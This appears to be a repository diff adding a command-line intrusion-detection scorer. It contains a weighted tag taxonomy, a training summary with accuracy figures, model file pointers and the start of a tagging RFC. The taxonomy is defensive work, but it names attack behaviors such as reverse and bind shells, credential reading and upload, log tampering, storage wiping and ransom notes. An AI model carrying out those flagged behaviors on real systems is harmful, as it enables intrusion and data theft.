+ "family": "privilege",
574
+ "markers": [
575
+ "boundary_cross"
576
+ ],
577
+ "points": 3.6
578
+ },
579
+ "modify_kernel_parameter": {
580
+ "family": "privilege",
581
+ "markers": [
582
+ "boundary_cross"
583
+ ],
584
+ "points": 1.8
585
+ },
586
+ "modify_library_preload": {
587
+ "family": "persistence",
588
+ "markers": [
589
+ "persistence"
590
+ ],
591
+ "points": 3.2
592
+ },
593
+ "modify_package_execution_hook": {
594
+ "family": "persistence",
595
+ "markers": [
596
+ "persistence"
597
+ ],
598
+ "points": 2.7
599
+ },
600
+ "modify_repository_hook": {
601
+ "family": "persistence",
602
+ "markers": [
603
+ "persistence"
604
+ ],
605
+ "points": 2.8
606
+ },
607
+ "modify_security_module_policy": {
608
+ "family": "privilege",
609
+ "markers": [
610
+ "boundary_cross",
611
+ "identity_policy"
612
+ ],
613
+ "points": 2.8
614
+ },
615
+ "modify_scheduled_task": {
616
+ "family": "persistence",
617
+ "markers": [
618
+ "persistence"
619
+ ],
620
+ "points": 2.5
621
+ },
622
+ "modify_service_state": {
623
+ "family": "operational_access",
624
+ "operational": true,
625
+ "points": 0.45
626
+ },
627
+ "modify_ssh_policy": {
628
+ "family": "identity_policy",
629
+ "markers": [
630
+ "identity_policy"
631
+ ],
632
+ "points": 3.4
633
+ },
634
+ "modify_ssh_authorization": {
635
+ "family": "identity_policy",
636
+ "markers": [
637
+ "identity_policy"
638
+ ],
639
+ "points": 2.4
640
+ },
641
+ "modify_sudo_policy": {
642
+ "family": "identity_policy",
643
+ "markers": [
644
+ "identity_policy"
645
+ ],
646
+ "points": 3.6
647
+ },
648
+ "modify_shell_history": {
649
+ "family": "anti_forensic",
650
+ "markers": [
651
+ "anti_forensic"
652
+ ],
653
+ "points": 2.6
654
+ },
655
+ "modify_shell_startup": {
656
+ "family": "persistence",
657
+ "markers": [
658
+ "persistence"
659
+ ],
660
+ "points": 2.7
661
+ },
662
+ "modify_systemd_unit": {
663
+ "family": "persistence",
664
+ "markers": [
665
+ "persistence"
666
+ ],
667
+ "points": 2.7
668
+ },
669
+ "modify_trust_store": {
670
+ "family": "identity_policy",
671
+ "markers": [
672
+ "boundary_cross",
673
+ "identity_policy"
674
+ ],
675
+ "points": 3.0
676
+ },
677
+ "mount_host_into_container": {
678
+ "family": "boundary_cross",
679
+ "markers": [
680
+ "boundary_cross"
681
+ ],
682
+ "points": 3.2
683
+ },
684
+ "manage_vpn_connection": {
685
+ "family": "operational_access",
686
+ "operational": true,
687
+ "points": 0.45
688
+ },
689
+ "open_data_service_session": {
690
+ "family": "operational_access",
691
+ "operational": true,
692
+ "points": 0.12
693
+ },
694
+ "probe_multiple_endpoints_multiple_ports": {
695
+ "family": "network_recon",
696
+ "markers": [
697
+ "recon"
698
+ ],
699
+ "points": 2.0
700
+ },
701
+ "probe_web_application": {
702
+ "family": "network_recon",
703
+ "markers": [
704
+ "recon"
705
+ ],
706
+ "points": 1.8
707
+ },
708
+ "query_database_data": {
709
+ "family": "operational_access",
710
+ "operational": true,
711
+ "points": 0.15
712
+ },
713
+ "run_performance_test": {
714
+ "family": "operational_access",
715
+ "operational": true,
716
+ "points": 0.2
717
+ },
718
+ "read_auth_audit_log": {
719
+ "family": "sensitive_access",
720
+ "markers": [
721
+ "sensitive_access"
722
+ ],
723
+ "points": 1.8
724
+ },
725
+ "read_cloud_credentials": {
726
+ "family": "credential_access",
727
+ "markers": [
728
+ "credential_access",
729
+ "cloud_identity"
730
+ ],
731
+ "points": 3.0
732
+ },
733
+ "read_cloud_secret": {
734
+ "family": "credential_access",
735
+ "markers": [
736
+ "cloud_identity",
737
+ "credential_access"
738
+ ],
739
+ "points": 2.8
740
+ },
741
+ "read_cluster_secret": {
742
+ "family": "credential_access",
743
+ "markers": [
744
+ "credential_access"
745
+ ],
746
+ "points": 2.8
747
+ },
748
+ "read_container_secret": {
749
+ "family": "credential_access",
750
+ "markers": [
751
+ "credential_access"
752
+ ],
753
+ "points": 2.9
754
+ },
755
+ "read_credential_material": {
756
+ "family": "credential_access",
757
+ "markers": [
758
+ "credential_access"
759
+ ],
760
+ "points": 2.8
761
+ },
762
+ "read_infrastructure_config": {
763
+ "family": "operational_access",
764
+ "operational": true,
765
+ "points": 0.1
766
+ },
767
+ "read_kernel_memory": {
768
+ "family": "sensitive_access",
769
+ "markers": [
770
+ "boundary_cross",
771
+ "sensitive_access"
772
+ ],
773
+ "points": 2.5
774
+ },
775
+ "read_shell_history": {
776
+ "family": "history_access",
777
+ "markers": [
778
+ "sensitive_access"
779
+ ],
780
+ "points": 2.2
781
+ },
782
+ "read_system_audit_log": {
783
+ "family": "sensitive_access",
784
+ "markers": [
785
+ "sensitive_access"
786
+ ],
787
+ "points": 1.8
788
+ },
789
+ "read_system_config": {
790
+ "benign": true,
791
+ "family": "benign_context",
792
+ "points": 0.05
793
+ },
794
+ "search_credentials": {
795
+ "family": "credential_access",
796
+ "markers": [
797
+ "credential_access"
798
+ ],
799
+ "points": 3.1
800
+ },
801
+ "search_sensitive_files": {
802
+ "family": "sensitive_access",
803
+ "markers": [
804
+ "credential_access"
805
+ ],
806
+ "points": 2.4
807
+ },
808
+ "set_file_capability": {
809
+ "family": "privilege",
810
+ "markers": [
811
+ "boundary_cross"
812
+ ],
813
+ "points": 3.0
814
+ },
815
+ "set_immutable_file_attribute": {
816
+ "family": "anti_forensic",
817
+ "markers": [
818
+ "anti_forensic"
819
+ ],
820
+ "points": 1.8
821
+ },
822
+ "set_sgid_permission": {
823
+ "family": "privilege",
824
+ "markers": [
825
+ "boundary_cross"
826
+ ],
827
+ "points": 2.4
828
+ },
829
+ "set_suid_permission": {
830
+ "family": "privilege",
831
+ "markers": [
832
+ "boundary_cross"
833
+ ],
834
+ "points": 3.2
835
+ },
836
+ "securely_delete_data": {
837
+ "family": "destructive",
838
+ "markers": [
839
+ "destructive"
840
+ ],
841
+ "points": 3.1
842
+ },
843
+ "spawn_bind_shell": {
844
+ "explicit_attack": true,
845
+ "family": "remote_access",
846
+ "markers": [
847
+ "remote_access",
848
+ "ingress_execution"
849
+ ],
850
+ "points": 5.0
851
+ },
852
+ "spawn_reverse_shell": {
853
+ "explicit_attack": true,
854
+ "family": "remote_access",
855
+ "markers": [
856
+ "remote_access",
857
+ "ingress_execution"
858
+ ],
859
+ "points": 5.2
860
+ },
861
+ "stage_hidden_path": {
862
+ "family": "anti_forensic",
863
+ "markers": [
864
+ "anti_forensic"
865
+ ],
866
+ "points": 2.2
867
+ },
868
+ "stage_temporary_path": {
869
+ "family": "data_movement",
870
+ "points": 1.0
871
+ },
872
+ "export_database_dump": {
873
+ "family": "operational_access",
874
+ "operational": true,
875
+ "points": 0.25
876
+ },
877
+ "inspect_service": {
878
+ "family": "operational_access",
879
+ "operational": true,
880
+ "points": 0.1
881
+ },
882
+ "manage_infrastructure_backup": {
883
+ "family": "operational_access",
884
+ "operational": true,
885
+ "points": 0.2
886
+ },
887
+ "upload_credential_material": {
888
+ "family": "data_egress",
889
+ "markers": [
890
+ "egress",
891
+ "credential_access"
892
+ ],
893
+ "points": 3.4
894
+ },
895
+ "upload_external_content": {
896
+ "family": "data_egress",
897
+ "markers": [
898
+ "egress"
899
+ ],
900
+ "points": 2.6
901
+ },
902
+ "upload_internal_content": {
903
+ "family": "data_movement",
904
+ "operational": true,
905
+ "points": 0.6
906
+ },
907
+ "upload_sensitive_content": {
908
+ "family": "data_egress",
909
+ "markers": [
910
+ "egress",
911
+ "business_sensitive"
912
+ ],
913
+ "points": 3.2
914
+ },
915
+ "wipe_storage": {
916
+ "family": "destructive",
917
+ "markers": [
918
+ "destructive"
919
+ ],
920
+ "points": 3.4
921
+ },
922
+ "write_executable_content": {
923
+ "family": "execution_bootstrap",
924
+ "markers": [
925
+ "ingress_execution"
926
+ ],
927
+ "points": 1.8
928
+ },
929
+ "write_kernel_module_content": {
930
+ "family": "privilege",
931
+ "markers": [
932
+ "boundary_cross"
933
+ ],
934
+ "points": 3.0
935
+ },
936
+ "write_ransom_note": {
937
+ "explicit_attack": true,
938
+ "family": "destructive",
939
+ "markers": [
940
+ "destructive"
941
+ ],
942
+ "points": 4.5
943
+ },
944
+ "write_shared_library_content": {
945
+ "family": "persistence",
946
+ "markers": [
947
+ "persistence"
948
+ ],
949
+ "points": 2.4
950
+ },
951
+ "write_system_executable_content": {
952
+ "family": "persistence",
953
+ "markers": [
954
+ "boundary_cross",
955
+ "persistence"
956
+ ],
957
+ "points": 3.0
958
+ },
959
+ "write_web_script_content": {
960
+ "family": "persistence",
961
+ "markers": [
962
+ "persistence"
963
+ ],
964
+ "points": 3.0
965
+ },
966
+ "write_secret_store": {
967
+ "family": "credential_access",
968
+ "markers": [
969
+ "credential_access"
970
+ ],
971
+ "points": 2.0
972
+ }
973
+ },
974
+ "scoring_routine_maintenance": {
975
+ "purpose": "Scoring-only dampening for cmdlines that are unambiguously normal maintenance. Not the same as tag_overrides.operational taxonomy flags.",
976
+ "tags": [
977
+ "build_source_code",
978
+ "clone_source_repository",
979
+ "consume_message",
980
+ "delete_source_code",
981
+ "download_object_storage",
982
+ "enumerate_database_schema",
983
+ "enumerate_object_storage",
984
+ "enumerate_packages",
985
+ "enumerate_services",
986
+ "execute_package_hook",
987
+ "export_database_dump",
988
+ "flush_cache_data",
989
+ "generate_artifact_digest",
990
+ "import_database_dump",
991
+ "inspect_audit_policy",
992
+ "inspect_infrastructure_service",
993
+ "inspect_network_state",
994
+ "inspect_service",
995
+ "inspect_storage_state",
996
+ "inspect_system_state",
997
+ "install_package",
998
+ "manage_database_backup",
999
+ "manage_infrastructure_backup",
1000
+ "manage_vpn_connection",
1001
+ "modify_language_dependency",
1002
+ "modify_mount_state",
1003
+ "modify_object_storage",
1004
+ "modify_service_state",
1005
+ "modify_source_code",
1006
+ "modify_source_repository",
1007
+ "mount_remote_filesystem",
1008
+ "open_data_service_session",
1009
+ "publish_message",
1010
+ "query_cache_data",
1011
+ "query_database_data",
1012
+ "read_business_log",
1013
+ "read_infrastructure_config",
1014
+ "read_infrastructure_log",
1015
+ "read_source_repository",
1016
+ "read_system_config",
1017
+ "read_system_log",
1018
+ "read_workload_logs",
1019
+ "run_performance_test",
1020
+ "sign_artifact",
1021
+ "simulate_package_install",
1022
+ "uninstall_package",
1023
+ "update_package",
1024
+ "update_source_repository",
1025
+ "upload_internal_content",
1026
+ "upload_object_storage",
1027
+ "verify_artifact_integrity"
1028
+ ],
1029
+ "event_multiplier": 0.4,
1030
+ "event_score_cap": 4.0,
1031
+ "taxonomy_operational_event_multiplier": 0.75,
1032
+ "window_multiplier_full": 0.35,
1033
+ "window_multiplier_majority": 0.48,
1034
+ "majority_ratio": 0.55,
1035
+ "alert_score_cap_full": 5.0
1036
+ },
1037
+ "scoring_professional_operations": {
1038
+ "purpose": "Session-level negative context for cohesive, professional operations. This is not a whitelist: it only applies when professional operations dominate the window, anchor evidence is present, explicit attacks are absent, and non-professional hard attack markers are absent. Business-sensitive backup/egress/destructive maintenance semantics are allowed to damp only inside that strong professional context.",
1039
+ "tags": [
1040
+ "append_system_log",
1041
+ "apply_infrastructure_template",
1042
+ "build_container_image",
1043
+ "build_source_code",
1044
+ "clone_source_repository",
1045
+ "configure_cloud_cli",
1046
+ "connect_cloud_database",
1047
+ "consume_message",
1048
+ "create_cloud_resource",
1049
+ "create_container_pod",
1050
+ "create_database",
1051
+ "create_local_kubernetes_cluster",
1052
+ "deploy_cloud_template",
1053
+ "disable_service",
1054
+ "download_object_storage",
1055
+ "enable_service",
1056
+ "enumerate_cluster_resources",
1057
+ "enumerate_container_images",
1058
+ "enumerate_database_schema",
1059
+ "enumerate_object_storage",
1060
+ "export_cluster_resources",
1061
+ "export_database_dump",
1062
+ "flush_cache_data",
1063
+ "generate_artifact_digest",
1064
+ "import_database_dump",
1065
+ "initialize_infrastructure_template",
1066
+ "inspect_audit_policy",
1067
+ "inspect_container_image",
1068
+ "inspect_container_runtime",
1069
+ "inspect_firewall_policy",
1070
+ "inspect_infrastructure_service",
1071
+ "inspect_network_state",
1072
+ "inspect_service",
1073
+ "inspect_storage_state",
1074
+ "inspect_system_state",
1075
+ "inspect_workload",
1076
+ "install_package",
1077
+ "manage_database_backup",
1078
+ "manage_infrastructure_backup",
1079
+ "manage_vpn_connection",
1080
+ "manage_snapshot",
1081
+ "modify_cache_data",
1082
+ "modify_cloud_firewall",
1083
+ "modify_cloud_resource",
1084
+ "modify_container_network",
1085
+ "modify_container_state",
1086
+ "modify_database_data",
1087
+ "modify_database_replication",
1088
+ "modify_database_schema",
1089
+ "modify_infrastructure_config",
1090
+ "modify_mount_state",
1091
+ "modify_object_storage",
1092
+ "modify_service_state",
1093
+ "modify_source_code",
1094
+ "modify_source_repository",
1095
+ "modify_storage_volume",
1096
+ "modify_workload",
1097
+ "open_data_service_session",
1098
+ "plan_infrastructure_template",
1099
+ "port_forward_workload",
1100
+ "publish_message",
1101
+ "publish_source_repository",
1102
+ "query_cache_data",
1103
+ "query_cloud_audit",
1104
+ "query_cloud_database",
1105
+ "query_database_data",
1106
+ "query_dns_records",
1107
+ "query_service_health",
1108
+ "read_business_log",
1109
+ "read_cluster_context",
1110
+ "read_infrastructure_config",
1111
+ "read_infrastructure_log",
1112
+ "read_mailbox",
1113
+ "read_service_metrics",
1114
+ "read_source_repository",
1115
+ "read_system_config",
1116
+ "read_system_log",
1117
+ "read_workload_logs",
1118
+ "resize_filesystem",
1119
+ "run_performance_test",
1120
+ "scan_container_image",
1121
+ "sign_artifact",
1122
+ "simulate_package_install",
1123
+ "transfer_container_image",
1124
+ "uninstall_package",
1125
+ "update_package",
1126
+ "update_source_repository",
1127
+ "upload_internal_content",
1128
+ "upload_object_storage",
1129
+ "verify_artifact_integrity",
1130
+ "verify_auth_policy"
1131
+ ],
1132
+ "anchor_tags": [
1133
+ "export_cluster_resources",
1134
+ "generate_artifact_digest",
1135
+ "inspect_audit_policy",
1136
+ "inspect_container_image",
1137
+ "inspect_container_runtime",
1138
+ "inspect_firewall_policy",
1139
+ "inspect_infrastructure_service",
1140
+ "inspect_network_state",
1141
+ "inspect_service",
1142
+ "inspect_storage_state",
1143
+ "inspect_system_state",
1144
+ "inspect_workload",
1145
+ "manage_database_backup",
1146
+ "manage_infrastructure_backup",
1147
+ "plan_infrastructure_template",
1148
+ "query_cloud_audit",
1149
+ "query_service_health",
1150
+ "read_cluster_context",
1151
+ "read_infrastructure_log",
1152
+ "read_service_metrics",
1153
+ "read_system_log",
1154
+ "read_workload_logs",
1155
+ "scan_container_image",
1156
+ "sign_artifact",
1157
+ "simulate_package_install",
1158
+ "verify_artifact_integrity",
1159
+ "verify_auth_policy"
1160
+ ],
1161
+ "sensitive_tags": [
1162
+ "grant_cloud_privilege",
1163
+ "grant_cluster_privilege",
1164
+ "grant_database_privilege",
1165
+ "grant_infrastructure_privilege",
1166
+ "grant_user_privilege",
1167
+ "create_cluster_secret",
1168
+ "create_credential_material",
1169
+ "modify_audit_policy",
1170
+ "modify_auth_policy",
1171
+ "modify_cloud_identity_policy",
1172
+ "modify_cluster_auth_policy",
1173
+ "modify_cluster_secret",
1174
+ "modify_database_account",
1175
+ "modify_firewall_policy",
1176
+ "modify_group_membership",
1177
+ "modify_infrastructure_account",
1178
+ "modify_pam_policy",
1179
+ "modify_ssh_authorization",
1180
+ "modify_ssh_policy",
1181
+ "modify_sudo_policy",
1182
+ "modify_user_access_state",
1183
+ "read_credential_material",
1184
+ "read_secret_store",
1185
+ "revoke_cloud_privilege",
1186
+ "revoke_database_privilege",
1187
+ "revoke_infrastructure_privilege",
1188
+ "revoke_user_privilege",
1189
+ "write_secret_store"
1190
+ ],
1191
+ "blocking_markers": [
1192
+ "anti_forensic",
1193
+ "boundary_cross",
1194
+ "cloud_remote_execution",
1195
+ "ingress_execution",
1196
+ "persistence",
1197
+ "remote_access"
1198
+ ],
1199
+ "min_events": 3,
1200
+ "min_anchor_events": 2,
1201
+ "moderate_ratio": 0.45,
1202
+ "moderate_multiplier": 0.84,
1203
+ "strong_ratio": 0.65,
1204
+ "strong_multiplier": 0.72
1205
+ },
1206
+ "threshold_score": 8.75
1207
+ }
l2_artifacts/train_summary.json ADDED
@@ -0,0 +1,63 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "schema": "secebl_rev20_l2_public_summary_v1",
3
+ "l1_release": "SecEBL-Rev20 public L1 release",
4
+ "l2_release": "SecEBL-Rev20 public L2 artifact",
5
+ "model_type": "logistic_regression_session_scorer",
6
+ "scoring_scope": "experimental fitted L2 session scorer over cached L1 semantic features",
7
+ "runtime_feature_exclusions": [
8
+ "raw_command_text",
9
+ "user_name",
10
+ "host_name",
11
+ "session_id"
12
+ ],
13
+ "training_mixture": {
14
+ "sessions": 5747,
15
+ "positive_sessions": 426,
16
+ "negative_sessions": 5321,
17
+ "synthetic_pressure_positive_sessions": 60,
18
+ "reviewed_real_pressure_positive_sessions": 1,
19
+ "random_real_pressure_background_negative_sessions": 5000,
20
+ "reviewed_hard_negative_pressure_sessions": 23
21
+ },
22
+ "validation_oof": {
23
+ "folds": 5,
24
+ "accuracy": 0.9939098660170523,
25
+ "attack_precision": 0.9643705463182898,
26
+ "attack_recall": 0.9530516431924883,
27
+ "normal_recall": 0.9971809810186055,
28
+ "tp": 406,
29
+ "fn": 20,
30
+ "fp": 15,
31
+ "tn": 5306
32
+ },
33
+ "withheld_session_benchmark_fit_check": {
34
+ "sessions": 663,
35
+ "rows_seen": 12594,
36
+ "attack_sessions": 365,
37
+ "normal_sessions": 298,
38
+ "accuracy": 1.0,
39
+ "attack_precision": 1.0,
40
+ "attack_recall": 1.0,
41
+ "normal_recall": 1.0,
42
+ "tp": 365,
43
+ "fn": 0,
44
+ "fp": 0,
45
+ "tn": 298
46
+ },
47
+ "pressure_stream_fit_check": {
48
+ "rows_seen": 6286568,
49
+ "sessions": 102117,
50
+ "alert_sessions": 61,
51
+ "reviewed_real_alert_sessions": 1,
52
+ "synthetic_alert_sessions": 60,
53
+ "raw_rows_redistributed": false,
54
+ "real_session_identifiers_redistributed": false
55
+ },
56
+ "thresholds": {
57
+ "score_threshold": 0.5,
58
+ "model_probability_threshold": 0.9,
59
+ "score_transform": "threshold_margin",
60
+ "score_transform_scale": 2.0
61
+ },
62
+ "caveat": "This is an experimental fitted L2 artifact for reproducible SecEBL-Rev20 session experiments, not an independent claim of general production IDS accuracy."
63
+ }
model.safetensors ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:2e550ed4a5e95173641c3fca0925d4f3a25b0afb5d7a527789bb0ef5f247140b
3
+ size 596070136
modules.json ADDED
@@ -0,0 +1,14 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ [
2
+ {
3
+ "idx": 0,
4
+ "name": "0",
5
+ "path": "",
6
+ "type": "sentence_transformers.models.Transformer"
7
+ },
8
+ {
9
+ "idx": 1,
10
+ "name": "1",
11
+ "path": "1_Pooling",
12
+ "type": "sentence_transformers.models.Pooling"
13
+ }
14
+ ]
rev20_tag_rfc.md ADDED
@@ -0,0 +1,1727 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Rev20 Tagging RFC
2
+
3
+ Status: draft-1
4
+ Applies to: `v4/data/tags_schema_rev20.json` vocabulary revision 20
5
+ Owner: AgentSmith corpus maintainers
6
+
7
+ Together with `v4/data/tags_schema_rev20.json`, this document is the complete
8
+ authority for rev20 `behavior_tags[]`.
9
+
10
+ The RFC core defines stable tagging semantics. Appendix examples are maintained
11
+ in this same file so reviewers have one place to look, but examples are not new
12
+ rules. If an appendix example appears to conflict with the RFC core, the RFC core
13
+ wins and the example MUST be fixed.
14
+
15
+ ## Changelog
16
+
17
+ - 2026-06-17: Folded Kubernetes AuditLog normalized-event semantics into this
18
+ single RFC. K8s Audit operational notes are non-normative; this file remains
19
+ the only RFC authority for rev20 behavior semantics.
20
+ - 2026-06-13: Added `write_ransom_note` for visible creation or modification
21
+ of ransom, recovery, or extortion-note content; this is distinct from
22
+ `encrypt_data` and from generic file-write mechanics.
23
+ - 2026-06-13: Removed generic file create/write/delete/copy/move labels from
24
+ rev20; file-path behavior is now represented by retained security-semantic
25
+ tags such as temporary or hidden staging, critical system paths, special nodes,
26
+ executable content, persistence hooks, trust stores, and domain-specific
27
+ mutations.
28
+ - 2026-06-13: Removed `search_other` and `query_remote_service`; generic search
29
+ and generic remote/API query mechanics are no longer behavior labels unless
30
+ the visible command supports a retained security-semantic target.
31
+ - 2026-06-13: Added a schema boundary matrix so every broad tag family has an
32
+ explicit rev20 boundary in the RFC core instead of relying on schema names
33
+ alone.
34
+
35
+ ## Normative Words
36
+
37
+ The words **MUST**, **MUST NOT**, **SHOULD**, **SHOULD NOT**, and **MAY** are
38
+ used in the RFC sense.
39
+
40
+ - **MUST**: required for every corpus row and review.
41
+ - **MUST NOT**: forbidden even when a reviewer thinks the alternative is useful.
42
+ - **SHOULD**: default behavior; exceptions require a cited RFC principle,
43
+ listed ambiguity, or row-specific justification.
44
+ - **MAY**: allowed but not required.
45
+
46
+ ## Authority Order
47
+
48
+ Only two sources are normative:
49
+
50
+ 1. `v4/data/tags_schema_rev20.json`: allowed tag names, maintenance groups,
51
+ output shape, invariants, and validation metadata.
52
+ 2. This RFC core: evidence model, decision procedure, tagging principles, and
53
+ review/change rules.
54
+
55
+ Prompts, review logs, historical corpus labels, training data, and appendix
56
+ examples are non-normative unless the RFC core explicitly imports their content.
57
+
58
+ The schema MUST remain a vocabulary artifact. It MUST NOT contain reference
59
+ examples, few-shot examples, boundary-rule lists, or case-specific review
60
+ guidance. Those belong in this RFC.
61
+
62
+ A reviewer MUST NOT change a corpus row only because a historical label "feels
63
+ less ideal". A row changes only when it violates the schema or a normative
64
+ requirement in this RFC core.
65
+
66
+ ## Core Contract
67
+
68
+ Input:
69
+
70
+ ```text
71
+ one raw observed command line or normalized audit/event line
72
+ ```
73
+
74
+ Output:
75
+
76
+ ```json
77
+ {"behavior_tags": ["zero or more visible complete behavior labels"]}
78
+ ```
79
+
80
+ The output describes objective behavior visible in this single command line. It
81
+ does not describe maliciousness, authorization, success, session-level intent,
82
+ campaign identity, likely operator purpose, or facts learned only by executing
83
+ the command.
84
+
85
+ ## Evidence Model
86
+
87
+ Reviewers MUST classify every possible tag source into one of these evidence
88
+ classes before assigning tags.
89
+
90
+ | Evidence class | Taggable? | Rule |
91
+ | --- | --- | --- |
92
+ | Executed stage | Yes | A command stage the shell, remote boundary, container boundary, workload boundary, chroot, or tool actually runs now. |
93
